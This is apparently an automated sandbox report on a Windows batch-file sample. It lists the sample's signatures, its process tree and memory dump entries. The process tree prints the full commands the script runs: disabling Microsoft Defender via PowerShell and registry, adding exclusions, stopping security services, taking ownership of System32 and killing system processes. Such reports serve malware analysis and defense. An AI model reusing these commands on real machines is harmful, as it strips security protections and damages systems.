Analysis

  • max time kernel
    149s
  • max time network
    162s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    11/06/2026, 11:22

General

  • Target
    deepseek_batch_20260611_a92e86.bat
  • Size 3KB
  • Sample260611-ngjdescy7p
  • SHA256 bc72094ddcaf32c2da980715eb4b3fdfdf668f1bc50173e2bae081ff18ba054e
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Using powershell.exe command.

  • Disables one or more Microsoft Defender components 1 TTPs 4 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Drops file in Drivers directory 2 IoCs
  • Possible privilege escalation attempt 5 IoCs
  • Disables service(s) 3 TTPs
  • Modifies file permissions 1 TTPs 5 IoCs
  • Stops running service(s) 4 TTPs
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Drops file in System32 directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Kills process with taskkill 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260611_a92e86.bat"
    1⤵
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:3412
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3832
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:4416
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Disables one or more Microsoft Defender components
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2932
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Disables one or more Microsoft Defender components
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3448
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Disables one or more Microsoft Defender components
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5240
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Disables one or more Microsoft Defender components
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5884
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Set-MpPreference -PUAProtection Disabled"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3816
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        2⤵
        • Modifies Windows Defender DisableAntiSpyware settings
        PID:2980
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        PID:5484
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionPath \"C:\\Windows\\System32\""
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2440
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionPath \"C:\\Windows\""
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4072
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionExtension \".exe\""
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3428
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionExtension \".dll\""
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4644
      • C:\Windows\system32\sc.exe
        sc stop WinDefend
        2⤵
        • Launches sc.exe
        PID:1188
      • C:\Windows\system32\sc.exe
        sc stop WdBoot
        2⤵
        • Launches sc.exe
        PID:2768
      • C:\Windows\system32\sc.exe
        sc stop WdFilter
        2⤵
        • Launches sc.exe
        PID:5584
      • C:\Windows\system32\sc.exe
        sc stop WdNisSvc
        2⤵
        • Launches sc.exe
        PID:1016
      • C:\Windows\system32\sc.exe
        sc stop SecurityHealthService
        2⤵
        • Launches sc.exe
        PID:2088
      • C:\Windows\system32\sc.exe
        sc config WinDefend start= disabled
        2⤵
        • Launches sc.exe
        PID:3060
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32" /r /d y
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:4484
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32" /grant "Admin":F /t /q
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3844
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32" /grant administrators:F /t /q
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2672
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32" /grant SYSTEM:F /t /q
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:5212
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32" /inheritance:d /t /q
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:348
      • C:\Windows\system32\attrib.exe
        attrib -r -h -s "C:\Windows\System32" /s /d
        2⤵
        • Drops file in Windows directory
        • Views/modifies file attributes
        PID:5324
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im explorer.exe
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4392
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im svchost.exe /fi "SERVICES eq wuauserv"
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3156
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im svchost.exe /fi "SERVICES eq trustedinstaller"
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2292

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 4KB
          • SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 aefd790a94e350ed18bd3513a459424d8b2ed26591a0cc3697d2b24a03510bec
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 25f1dbc3fe2d8a7a219a8dde3d6b79acba77b08ea05895bf3cd8ab0ff36bcd0a
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 f2aaec18b74edfffd64ff42ac090a56ea84259c03af23398646e1f5176beba1d
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 c82f2726f8ce51fc0d84eb392397b748700470a79032acae4a60c63d1067edcb
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 c142a87aa79cdf33a3c164b3f7556053273f7f1f536fdc7dc72ffd0f7538c66d
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 f2bcd009d21d39bbcaa6f513780bfbe0cd744c065245357ac2b125d886f82018
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 82b99e9eaa7604af2be32846767a11a03d043f773183cfdb5c568bbb5da1abe1
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 379725b221f4f46fd50b6cc7dfbe9b5ba0733f46d6f3d8b842803267790962a7
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_z230a0mb.52h.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z230a0mb.52h.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/2932-22-0x0000021445C50000-0x0000021445C6A000-memory.dmp

          memory/2932-2-0x0000021445A80000-0x0000021445AA2000-memory.dmp

          memory/2932-23-0x0000021445C00000-0x0000021445C08000-memory.dmp

          memory/2932-24-0x0000021445C30000-0x0000021445C36000-memory.dmp

          memory/2932-25-0x0000021445C40000-0x0000021445C4A000-memory.dmp

          memory/2932-26-0x0000021443A00000-0x0000021443A10000-memory.dmp

          memory/2932-21-0x0000021445BF0000-0x0000021445BFA000-memory.dmp

          memory/2932-1-0x0000021443A00000-0x0000021443A10000-memory.dmp

          memory/2932-0-0x0000021443A00000-0x0000021443A10000-memory.dmp

          memory/2932-20-0x0000021445C10000-0x0000021445C2C000-memory.dmp

          memory/2932-19-0x0000021445B00000-0x0000021445B0A000-memory.dmp

          memory/2932-18-0x0000021445B30000-0x0000021445BE3000-memory.dmp

          memory/2932-17-0x0000021445B10000-0x0000021445B2C000-memory.dmp

          memory/2932-10-0x00007FF416E20000-0x00007FF416E30000-memory.dmp

          memory/2932-9-0x0000021443A00000-0x0000021443A10000-memory.dmp

          memory/3412-145-0x00007FFE8B6E0000-0x00007FFE8B8E9000-memory.dmp

          memory/3412-148-0x00007FFE8B1F0000-0x00007FFE8B293000-memory.dmp

          memory/3412-156-0x00007FF6A10A0000-0x00007FF6A110C000-memory.dmp

          memory/3412-146-0x00007FFE8A1B0000-0x00007FFE8A26D000-memory.dmp

          memory/3412-152-0x00007FFE85A80000-0x00007FFE85A91000-memory.dmp

          memory/3412-154-0x00007FFE8A270000-0x00007FFE8A30E000-memory.dmp

          memory/3412-153-0x00007FFE8A340000-0x00007FFE8A3EE000-memory.dmp

          memory/3412-151-0x00007FFE89A20000-0x00007FFE89B40000-memory.dmp

          memory/3412-150-0x00007FFE88D00000-0x00007FFE88E11000-memory.dmp

          memory/3412-149-0x00007FFE896A0000-0x00007FFE89A18000-memory.dmp

          memory/3412-147-0x00007FFE88EF0000-0x00007FFE89264000-memory.dmp

          memory/3412-159-0x00007FFE88EF0000-0x00007FFE89264000-memory.dmp

          memory/3412-144-0x00007FF6A10A0000-0x00007FF6A110C000-memory.dmp

          memory/3412-164-0x00007FFE85A80000-0x00007FFE85A91000-memory.dmp

          memory/3412-166-0x00007FFE8A270000-0x00007FFE8A30E000-memory.dmp

          memory/3412-162-0x00007FFE88D00000-0x00007FFE88E11000-memory.dmp

          memory/3412-161-0x00007FFE896A0000-0x00007FFE89A18000-memory.dmp

          memory/3412-160-0x00007FFE8B1F0000-0x00007FFE8B293000-memory.dmp

          memory/3412-157-0x00007FFE8B6E0000-0x00007FFE8B8E9000-memory.dmp

          memory/3448-31-0x00000231A32F0000-0x00000231A3300000-memory.dmp

          memory/3448-30-0x00000231A32F0000-0x00000231A3300000-memory.dmp